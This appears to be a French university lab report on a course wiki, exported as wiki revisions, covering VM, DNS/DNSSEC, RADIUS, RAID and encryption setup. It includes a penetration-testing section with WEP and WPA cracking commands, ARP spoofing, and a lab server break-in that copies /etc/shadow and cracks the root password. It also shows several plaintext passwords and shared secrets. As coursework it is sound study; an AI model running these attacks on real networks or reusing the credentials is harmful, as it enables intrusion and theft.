belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500<br />
<br />
Cela nous donne :<br />
<br />
[[Fichier:screen_healthy.png|200px|thumb|center|Tada]]</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen_healthy.png&diff=58026Fichier:Screen healthy.png2022-01-12T13:02:11Z<p>Lwadbled : </p>
<hr />
<div></div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58018TP sysres IMA5 2021/2022 G62022-01-12T12:56:29Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
